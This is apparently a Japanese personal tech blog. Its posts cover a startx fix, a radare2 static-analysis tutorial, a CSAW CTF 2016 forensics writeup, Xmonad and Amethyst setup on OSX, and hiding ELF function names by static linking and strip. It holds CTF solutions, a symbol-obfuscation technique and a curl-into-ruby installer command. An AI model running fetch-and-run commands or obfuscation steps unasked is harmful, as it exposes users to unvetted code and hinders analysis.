拾い物のコンパス

まともに書いたメモ

Linuxで突然startxが起動しなくなったときの対処

startxが上手くいかないときの対処はググると色々出てくるが,ややこしいやつばかり出てきた.そして,それを試しても成功しなかった.最終的に上手くいったことを書き残す.

症状

それまで普通に使えたUbuntuを再起動した途端にGUIで起動しなくなった.$ startxしてみると,
waiting for X server to shut down error setting MTRR (base = 0xd0000000, size = 0x04000000, type = 1) Invalid argument(22)
とでて,終了してしまう.
$ sudo Xorg -configure
してみると,セグフォが起こっていると言われた.

対処

いくつか試してみたが,結局
$ cp /etc/X11/xinit/xinitrc ~/.xinitrc
した後に$ startxしたら動いた.
下手にビデオカードやら何やら入れていないなら,.xinitrcはいじらないほうが良いようだ.

使えれば良いやradare2(静的解析編)

バイナリ関連の機能を一通り提供するフレームワークradare2,通称r2(d2はない模様)による静的解析をざっくりと紹介する.CLIベースの使い方はいろんなサイトが詳しくやっているから,Visual Modeの使い方を中心に解説する.

radare2について

radare2について軽く説明する.
radare2は64ビットオフセット対応の16進バイナリエディタとして,2006年から開発が始まった.途中でportable reversing frameworkになり,更に,いつの間にかradareからradare2へとバージョンアップしている.経緯は知らない.バイナリエディタとして使われているところを見たこともやったこともない・・・.
x86からxtensaなどのマニアックなアーキテクチャまで対応し,基数変換ツール(rax2)やアセンブラ(rasm2),バイナリ比較プログラム(radiff2)など細かい所まで提供してくれる,とても素晴らしいプラットフォーム!
といえば聞こえは良いが,現実には挙動にビックリな地雷を抱えているところがあり,全面的に信用して使うと痛い目にあうというのが正直なところ(個人的な感想).
今までに出会った例としては,デバッグ中のプログラムがセグフォを起こすと,出力が無限ループ起こした.他には,巨大なプログラムを解析しようとすると,関数フラグなどの収集が終わらない.この状態だとCtrl+cしても終了できない.Ctrl+zで停止させて,改めてkillする必要があった.まだ他にもある.

インストール

radare2をインストールしていない場合は,ubuntuならapt/apt-get install radare2,arch linuxならpacman -S radare2で簡単に見つかるはず.ただし,ubuntuのパッケージはバージョンが古いことがあり,機能の一部が実装されていない可能性もある.不安な人は自前ビルドするとよい.自前ビルドは

$ git clone https://github.com/radare/radare2
$ cd radare2 && sys/install.sh
$ sys/install.sh
rootでインストールしたくない人はホームディレクトリにインストールする方法もある.
$ sys/user.sh

で行う.

環境

$ uname -a
Linux poppycompass 4.7.6-1-ARCH #1 SMP PREEMPT Fri Sep 30 19:28:42 CEST 2016 x86_64 GNU/Linux
$ r2 -v
radare2 0.10.2-git 10613 @ linux-little-x86-64 git.0.10.1-156-gcb11996
commit: cb119968dd590fbb0719243eadd7344c7293b996 build: 2016-03-16

現行のバージョンは0.10.6(2016/10/26現在)だから,少し古いバージョンでの解説となる.
カーネルバージョンから,先日発表されたDirty COW(CVE-2016-5195)の餌食になりそうな雰囲気.この後無茶苦茶更新した.

解析対象

解析対象はカラフルな出力を行うプログラム.

/* color.c */
#include <stdio.h>

void red(void)
{
  printf("\x1b[31m");
  puts("red");
}
void blue(void)
{
  printf("\x1b[34m");
  puts("blue");
}
void green(void)
{
  printf("\x1b[32m");
  puts("green");
}
int main(void)
{
  int i=1;
  if (i) {
    red();
    blue();
    green();
  } else {
    return 1;
  }
  return 0;
}
/* E.O.F. */

変なif文が入っているのは,コードに分岐を作りたかったから.
コンパイルは,
$ gcc -o color color.c -Wall

解析

いよいよr2を起動する.r2の操作性を一言で表現するなら,vim + gdb.この辺りは素晴らしい.コマンド体系は独自すぎて少しわかりにくい.

$ r2 ./color
[0x00400450]>

といった感じのシェルが起動する.?でヘルプが見られる.
checksecのような情報が欲しいときは,

[0x00400450]> iI
pic      false
canary   false
nx       true
crypto   false
va       true
intrp    /lib64/ld-linux-x86-64.so.2
bintype  elf
class    ELF64
lang     c
arch     x86
bits     64
machine  AMD x86-64 architecture
os       linux
minopsz  1
maxopsz  16
pcalign  0
subsys   linux
endian   little
stripped false
static   false
linenum  true
lsyms    true
relocs   true
rpath    NONE
binsz    6605

今回はa(nalyze)コマンドで関数部のフラグを特定し,Visual Mode上で解析していく.最低限の解析のみならaa,プログラム中の文字列などを扱いたいなら,aaaコマンドを使う.ただし,stripされているプログラムだとaaaでは非常に時間がかかる.適宜使い分けるとよい.

[0x00400450]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[*] Use -AA or aaaa to perform additional experimental analysis.
[x] Construct a function name for all fcn.* (.afna @@ fcn.*)
fcns: 16
xref: 39
sect: 514
code: 590
covr: 114 %

[0x00400450]> afl # 解析した関数一覧を表示
0x00400000  60  2  sym.imp.__libc_start_main
0x00400400  23  3  sym._init
0x00400430  16  2  sym.imp.puts
0x00400440  16  2  sym.imp.printf
0x00400450  43  1  entry0
0x00400480  50  4  sym.deregister_tm_clones
0x004004c0  58  4  sym.register_tm_clones
0x00400500  28  3  sym.__do_global_dtors_aux
0x00400520  38  4  sym.frame_dummy
0x00400546  32  1  sym.red
0x00400566  32  1  sym.blue
0x00400586  32  1  sym.green
0x004005a6  50  4  sym.main
0x004005e0  101  4  sym.__libc_csu_init
0x00400650  2  1  sym.__libc_csu_fini
0x00400654  9  1  sym._fini

main関数から解析していく.

[0x00400450]> s sym.main # アドレス移動
[0x004005a6]> VV         # Visual Mode起動
[0x004005a6]> VV @ sym.main (nodes 4 edges 4 zoom 100%) BB-NORM mouse:canvas-y movements-speed:5                                 

                                              =-----------------------------------=
                                              | [0x4005a6]                        |
                                              |   ;-- main:                       |
                                              | (fcn) sym.main 50                 |
                                              | ; var int local_0h     @ rbp-0x0  |
                                              | ; var int local_4h     @ rbp-0x4  |
                                              | push rbp                          |
                                              | mov rbp, rsp                      |
                                              | sub rsp, 0x10                     |
                                              | mov dword [rbp - local_4h], 1     |
                                              | cmp dword [rbp - local_4h], 0     |
                                              | je 0x4005d1 ;[a]                  |
                                              =-----------------------------------=
                                                    t f
                                                .---' '-------------------.
                                                |                         |
                                                |                         |
                                          =----------------=      =----------------------=
                                          |  0x4005d1      |      |  0x4005bb            |
                                          | mov eax, 1     |      | call sym.red ;[b]    |
                                          =----------------=      | call sym.blue ;[c]   |
                                              v                   | call sym.green ;[d]  |
                                              |                   | mov eax, 0           |
                                              |                   | jmp 0x4005d6 ;[e]    |
                                              '------------.      =----------------------=
                                                           |          v
                                                           .----------'
                                                           |
                                                           |
                                                       =----------------=
                                                       |  0x4005d6      |
                                                       | leave          |
                                                       | ret            |
                                                       =----------------=

                            

上記のような表示になったと思う.分岐を起点としたブロックに分割されて,表示される.実際にはt(true),f(false)の線は色がついていて,非常に有り難い.vimと同様hjklで移動する.スペースキーを押すと,16進ダンプに跳ぶ.もう一回スペースキーを押すと戻る.
':'を押すことでr2のコマンドを実行できる.sym.red関数をテキストとしてディスアセンブルする.

Press <enter> to return to Visual mode.
:> pdf@sym.main # pdf: 関数のディスアセンブル,'@'以降は引数に関数名やアドレスを与える
/ (fcn) sym.red 32
|           ; CALL XREF from 0x004005bb (sym.red)
|           0x00400546      55             push rbp
|           0x00400547      4889e5         mov rbp, rsp
|           0x0040054a      bf64064000     mov edi, str._e_31m         ; str._e_31m
|           0x0040054f      b800000000     mov eax, 0
|           0x00400554      e8e7feffff     call sym.imp.printf
|           0x00400559      bf6a064000     mov edi, 0x40066a
|           0x0040055e      e8cdfeffff     call sym.imp.puts
|           0x00400563      90             nop
|           0x00400564      5d             pop rbp
\           0x00400565      c3             ret

Visual Modeのままsym.redに移動したいときは

Press <enter> to return to Visual mode.
:> s sym.red<Enter><Enter>
[0x004005a6]> VV @ sym.red (nodes 1 edges 0 zoom 100%) BB-NORM mouse:canvas-y movements-speed:5                                  
                                                  =---------------------------=
                                                  | [0x400546]                |
                                                  | (fcn) sym.red 32          |
                                                  | push rbp                  |
                                                  | mov rbp, rsp              |
                                                  | mov edi, str._e_31m       |
                                                  | mov eax, 0                |
                                                  | call sym.imp.printf ;[a]  |
                                                  | mov edi, 0x40066a         |
                                                  | call sym.imp.puts ;[b]    |
                                                  | nop                       |
                                                  | pop rbp                   |
                                                  | ret                       |
                                                  =---------------------------=

uでmain関数に戻る.

終了

qを2回押して,元のプロンプトに戻り,Ctrl+dexitで終了.

最後に

radare2のVisual Modeでの解析を中心とした使い方をざっくり説明した.機能としてはもっと膨大であるが,そのへんの解説はbookやヘルプに譲りたい.objdumpよりも直感的なコードを提供してくれるため,静的解析には非常に心強い.
今年の9月に世界初のradare2カンファレンスr2con-2016が開催されたらしい.来年は是非行って,radare2は「ラダレツゥー」と読んでいいのか確かめたい.しかし,金と言語の壁が厚い.

参考

radare2レポジトリ: GitHub - radare/radare2: unix-like reverse engineering framework and commandline tools

端末出力の色変更方法: C言語でターミナルで表示される文字をカラー表示させる : Serendip - Webデザイン・プログラミング

radare2 book: http://www.radare.org/get/radare.pdf

Dirty COW: Dirty COW (CVE-2016-5195)

csawctf 2016 writeup(forensics)

書くことがないから,最近参加したCSAWCTF 2016のWriteupをメモしておく.分野はforensics.ExploitやWebに比べると日本では人気がない印象があるのが残念.

evidence

evidence.zipという壊れたZIPファイルが与えられる.

$ unzip -l evidence.zip
Archive:  evidence.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
1384576462406025012  1980-10-01 06:01   out/rxo802ayx4
1384576462406025012  1980-10-01 06:01   out/zhatnf5maf
1384576462406025012  1980-10-01 06:01   out/50lshu1ue6
1384576462406025012  1980-10-01 06:01   out/14o803swdq
1384576462406025012  1980-10-01 06:01   out/nppjdd2wdg
1384576462406025012  1980-10-01 06:01   out/e9ydsxwetg
1384576462406025012  1980-10-01 06:01   out/0eetjrxpdm
1384576462406025012  1980-10-01 06:01   out/otuj3jrezt
1384576462406025012  1980-10-01 06:01   out/m70ohrycax
1384576462406025012  1980-10-01 06:01   out/mpi3z4x5jt
1384576462406025012  1980-10-01 06:01   out/meoflsxv4v
1384576462406025012  1980-10-01 06:01   out/8y10tp04b2
1384576462406025012  1980-10-01 06:01   out/eui6ltoijl
---------                     -------
17999494011278325156                     13 files
以下,どうでも良い情報
1384576462406025012  -> 0x133700f4ee13ff34
17999494011278325156 -> 0xf9cb0c701703f5a4
全く意味のない数字のようだ.

作成日時も特に情報は見当たらない.
とりあえず
$ zip -FF evidence.zip --output fix.zip
で修復してみる.先に言っておく,これやった人はさようなら.
この後,
- unzip
- ファイル名がハッシュになっているかと検索
- base64で復号
- とりあえず,文字列を反対にしてみる
- 適当にXORしてみる
- コメントを期待して,unzip -z
- ..etc
をやってみたが,どうにも出てこない. 疲れて,基本に戻ってみようとZIP情報の詳細を見てみる.

$ unzip -vv ./evidence.zip
Archive:  ./evidence.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
1384576462406025012  Unk:169     908 100% 1980-10-01 06:01 666c6167  out/rxo802ayx4
1384576462406025012  Unk:047     294 100% 1980-10-01 06:01 7b746833  out/zhatnf5maf
1384576462406025012  Unk:158     377 100% 1980-10-01 06:01 5f766931  out/50lshu1ue6
1384576462406025012  Unk:231     552 100% 1980-10-01 06:01 3169346e  out/14o803swdq
1384576462406025012  Unk:223     249 100% 1980-10-01 06:01 5f77335f  out/nppjdd2wdg
1384576462406025012  Unk:238     503 100% 1980-10-01 06:01 6e333364  out/e9ydsxwetg
1384576462406025012  Unk:045     150 100% 1980-10-01 06:01 5f236672  out/0eetjrxpdm
1384576462406025012  Unk:200     273 100% 1980-10-01 06:01 65656c65  out/otuj3jrezt
1384576462406025012  Unk:099     684 100% 1980-10-01 06:01 6666656e  out/m70ohrycax
1384576462406025012  Unk:205     112 100% 1980-10-01 06:01 7daaaaaa  out/mpi3z4x5jt
1384576462406025012  Unk:174     287 100% 1980-10-01 06:01 aaaaaaaa  out/meoflsxv4v
1384576462406025012  Unk:193     172 100% 1980-10-01 06:01 aaaaaaaa  out/8y10tp04b2
1384576462406025012  Unk:199     485 100% 1980-10-01 06:01 aaaaaaaa  out/eui6ltoijl
--------          -------  ---                            -------
17999494011278325156             5046 100%                            13 files

ああ,なるほどと気づいたときには笑った.こんなやり方もあるのか.CRCがASCIIだ. 666c61677b7468335f7669313169346e5f77335f6e3333645f23667265656c656666656e7d
-> flag{th3_vi11i4n_w3_n33d#freeleffen}
flag: flag{th3_vi11i4n_w3_n33d
#freeleffen}
復元して頑張っても無駄だという問題.よくCRCにねじこんだな・・・.

watchword

Canned epic hidden snek flavored cookies have shy gorilla.  
Hint: http://domnit.org/stepic/doc/
Hint: It's not base64, but it uses the Python 3 base64 module
password = password

問題文は知らない単語が多くて理解を投げた.ゴリラが何かしたらしい.
ヒントに沿って,http://domnit.org/stepic/doc/から,stepic-0.3.tar.gzをダウンロード.

$ tar xvf ./stepic-0.3.tar.gz
$ cd stepic-0.3
$ sudo ./setup.py install
動作するためにImageが必要だったため,
$ sudo pip install Image
Image関連でエラーを吐くため,
$ sudo vim /usr/bin/stepic
[-] import Image
[+] from PIL import Image

これで準備は完了.
動画ファイルをダンプしてみると,<data...>というbase64があった.
"aHR0cDovL3N0ZWdoaWRlLnNvdXJjZWZvcmdlLm5ldC8="
-> http://steghide.sourceforge.net/base64
どうやら,steghideが一枚噛んでいるようだ.
配られた動画ファイルを問答無用でforemost.動画は結局見なかった.
$ foremost powpow.mp4
PNGファイルが出てきた.
f:id:poppycompass:20160927151138p:plain
8月にひっそりと日本での販売が終了したオレオの写真.foremostしても何も出てこない.
また,PNGにはsteghideが使えない.よって,stepicの出番.
$ stepic -d -i output/png/00001069.png -o out.jpg --debug
out.jpgというJPG画像を取得する.画像は親子の微笑ましい会話.
f:id:poppycompass:20160927135920j:plain
以下,文章の訳.間違っていたら指摘してください.

> ねえ,お母さん.どうしていとこの名前はダイヤモンドなの?
< おばさんが好きだからよ
> 僕の名前は?
< 私が好きなゴリラよ,Harambe

Harambeは先日子供を助けるために仕方なく射殺されたゴリラの名前.
Harambeはまだ良いが,おばさん,いくら好きでもダイヤモンドはキラキラしすぎじゃないかな・・・
< 閑話休題 >
JPGファイルはsteghideでいける.パスワードが要求されるが,これは問題文で与えられたものを使う.

$ steghide extract -sf ./out.jpg
Enter passphrase:password
wrote extracted data to "base64.txt"
$ cat ./base64.txt
W^7?+dsk&3VRB_4W^-?2X=QYIEFgDfAYpQ4AZBT9VQg%9AZBu9Wh@|fWgua4Wgup0ZeeU}c_3kTVQXa}eE

base64.txtが得られる.文字列の途中に=が入っていたりと,問題通り普通のbase64ではないようだ.
ヒントにpython3のbase64のモジュールを使っているとあったため,
http://docs.python.jp/3/library/base64.html#module-base64
を参考に一通り試していった.結局,base85でエンコードされた文字列だった.

# decrypt.py, python3で実行推奨
# coding: utf-8

import base64
print(base64.b85decode("W^7?+dsk&3VRB_4W^-?2X=QYIEFgDfAYpQ4AZBT9VQg%9AZBu9Wh@|fWgua4Wgup0ZeeU}c_3kTVQXa}eE"))
$ python3 decrypt.py
b'flag{We are fsociety, we are finally free, we are finally awake!}'

base85はASCII内でprintableな文字を全部使って限界に挑戦した符号化のようだ.データ量の膨張が6/4(1.5倍)のbase64に対し,base85は5/4(1.25倍)と,効率が良い.現在ではgitで使われているらしい.

最後に

forensicsはPwnやWebのようにきらびやかなハッカー・クラッカーっぽいものを感じにくい分野だが,解析のためにコマンドの細かいオプションを知ることができるといった面がある.
セキュリティをやっている理由が,色んなことを知りたいからという自分にとってはやってて楽しい分野.
もう少しくらいなら闇が深くても構わない.
ふと思ったが,IT業界って光という単語をあまり使わない気がする.闇の言語(C++とか)は存在するが,光の言語は聞いたことがない(Haskellとか純粋なものがある).その内出るかもしれないが,キャッチコピーが胡散臭すぎて使う気が起きなさそうだ.
そう思ってしまう辺り,IT業界に毒されているのだろう.

参考文献

Stepic - Python image steganography

19.6. base64 — Base16, Base32, Base64, Base85 データの符号化 — Python 3.5.2 ドキュメント

base85について - StoryEdit 開発日誌

OSX(mac)にXmonadをインストールする方法

普段はLinuxXmonadを入れて作業をしているが,短期間だけOSX(mac)を使うこととなった(知っている企業や大学ってやたらとLet's NoteとMacbookが好き.ThinkPadも選択肢に入れて欲しい).普段通りに作業するためにOSXXmonadを入れる方法を模索し,動かすところまではいけた.しかしLinuxほどの快適さはないため,OSX(mac)ではXmonadを使わないほうが良い.代わりにXmonadを意識して作られたAmethystがとりあえずおすすめ.インストールの流れをメモ代わりに書き残す.

環境

$ uname -a
後で入力する(確かDarwinのx64)

OSXXmonadを動作させる仕組み

XmonadX11で動作するよう実装されている.どれくらい依存しているかというと,ソースコードのMain部にガッツリX11関連の関数を使っていて置き換えることが面倒くさそうな位依存している.
このためOSXで動作させるためのアプローチとしてはX11OSX版であるXQuartzをインストールし,このX11上で動かすデスクトップマネージャ(DM)にXmonadを選択し,起動させる流れとなる.

インストール方法

brewのインストール

$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

XQuartzのインストール

https://www.xquartz.orgからXQuartz-2.7.9.dmgをダウンロード,インストール(ダブルクリックとContinueを押し続けるだけ).
インストールに成功すると,/Applications/Utilities/XQuartz.app/opt/X11/bin/quartz-wmなどができているはず.デスクトップの検索マークからXQuartzを探し,起動するとDock(デフォルトだと画面下にあるショートカットキーが並んでいるところ)に大文字のXが中心のマークが現れるはず.
XQuartzを選択した状態でデスクトップの左上のXQuartz -> Preferencesで各種設定を変更する.WinodowタブでFull Screen Modeを設定する以外は特にいじらなかった.
~/.xinitrcがあるとエラーが出ることもあるから,あるならrenameしておくほうが良い.

Haskellをインストールする

XmonadをインストールするためにHaskellコンパイラなどをインストールする.She is Haskell.って笑うやつは表に出ろ.すごいH本を朗読してやる.
https://www.haskell.org/platform/mac.htmlからHaskellインストーラを落とす.ダブルクリックしてインストール.
インストールが終わったら,端末から
$ cabal update
でパッケージリストを最新に更新する.

xmonadのインストール

いよいよXmonadをインストールする.
$ cabal install xmonad
でできるはずだが,今回の環境ではXssライブラリがないとエラーが出た.原因は先ほどインストールしたXQuartzが持つX11のヘッダやライブラリ関係がパスに含まれていなことだった.よって今回のコマンドのときだけパスを追加してやれば良い.
$ LIBRARY_PATH=/opt/X11/lib:$LIBRARY_PATH cabal install xmonad
これでXmonadがインストールできるはず.これでも駄目なら,
$ LIBRARY_PATH=/opt/X11/lib:$LIBRARY_PATh cabal install X11
も試して,デバッグしていく.頑張れ.

Xmonad関連インストール

エラーが出るのを防ぐためにX11関連のヘッダを検索パスに含めておく.今回はシンボリックリンクを張る方法を選んだ.

$ ln -s /opt/X11/include/X11 /usr/local/include/X11
$ LIBRARY_PATH=/opt/X11/lib:$LIBRARY_PATH cabal install xmonad-contrib xmobar

XQuarzの設定作成

X11(XQuartz)起動時に使われるWMを設定する.設定は環境変数USERWMに使いたいWMのバイナリパスを入れてやる.

$ mkdir $HOME/.xinitrc.d/
$ vim $HOME/.xinitrc.d/90-xmonad.sh
  #!/bin/sh
  USERWM=$HOME/Library/Haskell/bin/xmonad # xmonadのバイナリが入っているところを指すようにする

xmonadのパスがわからないときは
$ find $HOME -name xmonad -type f 2>/dev/null
で検索する.
あとはX11が起動時に実行されるようにスクリプトに実行権限を付与する.
$ chmod +x ~/.xinitrc.d/90-xmonad.sh
X11で起動するWMをデフォルトのquartz-wmに戻したければ
$ chmod -x ~/.xinitrc.d/90-xmonad.sh
で実行権限をなくせば良い. 以上で基本的な作業は終了.
後は各自xmonad.hs.xmobarrcなどを調整する.

起動

XQuartzが起動した状態で左上のXQuartzタブを押して,Toggle Full Screenを押す.全画面がX11になり,Xmonadが使えるようになる(全画面にしなくても使えるが,全画面のほうがおすすめ).

戻り方

Command+Option+a

問題点

ワークスペースの切り替え,複数の端末操作は通常通り行えるが,/Applications以下のアプリ(ブラウザやメーラ)をXmonad上で実行する方法がわからないといった致命的な問題にぶち当たり,解決策を思いつかなかった.少し使ってみての問題としては以下が挙げられる.

  • OSXではXmonadの相棒urxvtclearコマンドが動かない
  • Chromeなどの/Applications以下にインストールされているアプリを起動させるとXmonadからホストのWMに戻り,そちらで起動してしまう
  • デフォルトで起動するxtermはマルチバイト文字読めない・入力できない
  • xmonad.hs.xmobarrcOSX用に調整しないといけない
  • デバッグしたくない

問題が山積みでここまでしてXmonadに固執する必要もない気がしてきたから,Amethystも試してみた.そしたら比較的快適だったから今回はこっちを使うことにした.

Amethystのインストール

$ brew cask install amethyst
とても簡単.

Amethyst設定

System Preferencesを立ち上げ,Security & Privacy -> Accessibility,左下のロックボタンを押してロックを解除し,'+'を押す.Applications -> Amethystを選択し,権限を与える.詳しくはAmethystのgithubを見るのがわかりやすい.

Amethystの起動

デスクトップの検索からAmethystを検索して起動するだけ. 提供する機能はウィンドウ同士の配置を自動でXmonad風に整形,ウィンドウの選択・入れ替えといったシンプルな部分のみ.
ワークスペースの切り替えはMission Controlによるものになるが,どうにも無駄な動作が多くて疲れる.xmobarを入れて使いたいが,それっぽいものは今の所無いようだ.OSXは余程追い詰められない限り使わないと決心した.
他にはhttps://github.com/arnihermann/osxmonadといったものもあるようだったが,ワークスペースの実装がされていないと書いてあったため使わなかった.

最後に

Linuxはさいきょう

参考サイト

Xmonad on Apple OSX: Xmonad/Using xmonad on Apple OSX - HaskellWiki

xmonad Q&A: Can't build X11 due to ld linking error on OSX 10.9.2 · Issue #24 · xmonad/X11 · GitHub

彼女はちょっと純情すぎるだけなんだ: She is Haskell. : プログラマーが覚えておくべき10の英語フレーズ - NAVER まとめ

Amethyst: GitHub - ianyh/Amethyst: Automatic tiling window manager for OS X à la xmonad and i3.

ELFバイナリのデバッグ時の関数名を読めなくする方法

Defconとかでは問題のELFバイナリをデバッグすると,ユーザ定義関数名だけでなく,ライブラリ関数名も読めなくなっている.どうやるとこんなバイナリを作れるのかを調べてみた.結論から言えば,静的リンクでコンパイルして,stripでデバッグシンボルを消すだけだった.

ライブラリ関数名の読めないプログラム

例えば,/bin/idexecve関数で実行するだけのid.cを考える.

/* id.c */
#include <stdio.h>                                                                                                           
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void)
{
    char *env[] = {NULL, NULL};
    char *args[] = {"/bin/id", NULL};
    execve("/bin/id", args, env);
    return 0;
}
/* E.O.F. */

ここで使われているライブラリ関数はexecveだけ.これの関数名消去がうまく行くと,以下のようなアセンブラになる.

$ r2 -c 'aa;pdf@main' ./id
[x] Analyze all flags starting with sym. and entry0 (aa)
fcns: 4
xref: 54
sect: 550756
code: 1139
covr: 0 %
/ (fcn) main 68
|           ; var int local_8h     @ rbp-0x8
|           ; var int local_10h    @ rbp-0x10
|           ; var int local_18h    @ rbp-0x18
|           ; var int local_20h    @ rbp-0x20
|           ; DATA XREF from 0x0040082d (main)
|           0x0040092e      55             push rbp
|           0x0040092f      4889e5         mov rbp, rsp
|           0x00400932      4883ec20       sub rsp, 0x20
|           0x00400936      48c745f00000.  mov qword [rbp - local_10h], 0
|           0x0040093e      48c745f80000.  mov qword [rbp - local_8h], 0
|           0x00400946      48c745e04477.  mov qword [rbp - local_20h], str._bin_id
|           0x0040094e      48c745e80000.  mov qword [rbp - local_18h], 0
|           0x00400956      488d55f0       lea rdx, [rbp - local_10h]
|           0x0040095a      488d45e0       lea rax, [rbp - local_20h]
|           0x0040095e      4889c6         mov rsi, rax
|           0x00400961      bf44774800     mov edi, str._bin_id        ; "/bin/id" @ 0x487744
|           0x00400966      e8450e0300     call fcn.004317b0           ; !!! 本来 "call sym.imp.execve"とでる !!!
|           0x0040096b      b800000000     mov eax, 0
|           0x00400970      c9             leave
\           0x00400971      c3             ret

0x00400966の行を見ると,sym.imp.execveと普通にコンパイルしたら出るはずがfcn.004317b0になっている.
普段こんなバイナリが来ると,引数と演算結果を見てどの関数かを特定しているが(それしか知らない),ライブラリ関数を20種類以上使われていると心にヒビが入ってくる.
こいつの関数名復元方法を知るためにまずは作り方を調べた.

この方法では消えない

関数名の削除はデバッグシンボルの削除でできると考えて,まずは以下のコマンドを試してみた.

$ gcc -o id id.c
$ strip --strip-all ./id  # シンボル情報の全削除
$ r2 -c 'aa;pdf@main' ./id
[x] Analyze all flags starting with sym. and entry0 (aa)
fcns: 13
xref: 22
sect: 434
code: 470
covr: 108 %
            ;-- main:
/ (fcn) sym.main 68
|           ; var int local_8h     @ rbp-0x8
|           ; var int local_10h    @ rbp-0x10
|           ; var int local_18h    @ rbp-0x18
|           ; var int local_20h    @ rbp-0x20
|           ; DATA XREF from 0x0040040d (sym.main)
|           0x004004e6      55             push rbp
|           0x004004e7      4889e5         mov rbp, rsp
|           0x004004ea      4883ec20       sub rsp, 0x20
|           0x004004ee      48c745f00000.  mov qword [rbp - local_10h], 0
|           0x004004f6      48c745f80000.  mov qword [rbp - local_8h], 0
|           0x004004fe      48c745e0b405.  mov qword [rbp - local_20h], str._bin_id
|           0x00400506      48c745e80000.  mov qword [rbp - local_18h], 0
|           0x0040050e      488d55f0       lea rdx, [rbp - local_10h]
|           0x00400512      488d45e0       lea rax, [rbp - local_20h]
|           0x00400516      4889c6         mov rsi, rax
|           0x00400519      bfb4054000     mov edi, str._bin_id        ; "/bin/id" @ 0x4005b4
|           0x0040051e      e8adfeffff     call sym.imp.execve         ; !!! 消えてない !!!
|           0x00400523      b800000000     mov eax, 0
|           0x00400528      c9             leave
\           0x00400529      c3             ret

0x0040051eを見ると,関数名が消えてない.
そもそもstripで消えているものはあるかを確認すると

$ gcc -o id id.c
$ file ./id
id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, not stripped # stripされてない
$ readelf -a ./id > nonstrip
$ strip --strip-all ./id
$ file ./id
./id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, stripped # stripされた
$ readelf -a ./id > stripall
$ diff nonstrip stripall
13c13
<   Start of section headers:          4784 (bytes into file)
---
>   Start of section headers:          2592 (bytes into file)
19c19
<   Number of section headers:         31
---
>   Number of section headers:         29
81,86c81,82
<   [28] .shstrtab         STRTAB           0000000000000000  000011a4
<        000000000000010c  0000000000000000           0     0     1
<   [29] .symtab           SYMTAB           0000000000000000  00000928
<        0000000000000660  0000000000000018          30    48     8
<   [30] .strtab           STRTAB           0000000000000000  00000f88
<        000000000000021c  0000000000000000           0     0     1
---
>   [28] .shstrtab         STRTAB           0000000000000000  00000921
>        00000000000000fc  0000000000000000           0     0     1
170,240d165
< 
< Symbol table '.symtab' contains 68 entries:
<    Num:    Value          Size Type    Bind   Vis      Ndx Name
<      0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
<      1: 0000000000400200     0 SECTION LOCAL  DEFAULT    1 
<      2: 000000000040021c     0 SECTION LOCAL  DEFAULT    2 
<      3: 000000000040023c     0 SECTION LOCAL  DEFAULT    3 
<      4: 0000000000400260     0 SECTION LOCAL  DEFAULT    4 
<      5: 0000000000400280     0 SECTION LOCAL  DEFAULT    5 
<      6: 00000000004002e0     0 SECTION LOCAL  DEFAULT    6 
<      7: 0000000000400320     0 SECTION LOCAL  DEFAULT    7 
<      8: 0000000000400328     0 SECTION LOCAL  DEFAULT    8 
<      9: 0000000000400348     0 SECTION LOCAL  DEFAULT    9 
<     10: 0000000000400360     0 SECTION LOCAL  DEFAULT   10 
<     11: 0000000000400390     0 SECTION LOCAL  DEFAULT   11 
<     12: 00000000004003b0     0 SECTION LOCAL  DEFAULT   12 
<     13: 00000000004003e0     0 SECTION LOCAL  DEFAULT   13 
<     14: 00000000004003f0     0 SECTION LOCAL  DEFAULT   14 
<     15: 00000000004005a4     0 SECTION LOCAL  DEFAULT   15 
<     16: 00000000004005b0     0 SECTION LOCAL  DEFAULT   16 
<     17: 00000000004005bc     0 SECTION LOCAL  DEFAULT   17 
<     18: 00000000004005f0     0 SECTION LOCAL  DEFAULT   18 
<     19: 00000000006006e8     0 SECTION LOCAL  DEFAULT   19 
<     20: 00000000006006f0     0 SECTION LOCAL  DEFAULT   20 
<     21: 00000000006006f8     0 SECTION LOCAL  DEFAULT   21 
<     22: 0000000000600700     0 SECTION LOCAL  DEFAULT   22 
<     23: 00000000006008d0     0 SECTION LOCAL  DEFAULT   23 
<     24: 00000000006008d8     0 SECTION LOCAL  DEFAULT   24 
<     25: 0000000000600900     0 SECTION LOCAL  DEFAULT   25 
<     26: 0000000000600910     0 SECTION LOCAL  DEFAULT   26 
<     27: 0000000000000000     0 SECTION LOCAL  DEFAULT   27 
<     28: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS init.c
<     29: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
<     30: 00000000006006f8     0 OBJECT  LOCAL  DEFAULT   21 __JCR_LIST__
<     31: 0000000000400420     0 FUNC    LOCAL  DEFAULT   14 deregister_tm_clones
<     32: 0000000000400460     0 FUNC    LOCAL  DEFAULT   14 register_tm_clones
<     33: 00000000004004a0     0 FUNC    LOCAL  DEFAULT   14 __do_global_dtors_aux
<     34: 0000000000600910     1 OBJECT  LOCAL  DEFAULT   26 completed.6945
<     35: 00000000006006f0     0 OBJECT  LOCAL  DEFAULT   20 __do_global_dtors_aux_fin
<     36: 00000000004004c0     0 FUNC    LOCAL  DEFAULT   14 frame_dummy
<     37: 00000000006006e8     0 OBJECT  LOCAL  DEFAULT   19 __frame_dummy_init_array_
<     38: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS test.c
<     39: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
<     40: 00000000004006e0     0 OBJECT  LOCAL  DEFAULT   18 __FRAME_END__
<     41: 00000000006006f8     0 OBJECT  LOCAL  DEFAULT   21 __JCR_END__
<     42: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS 
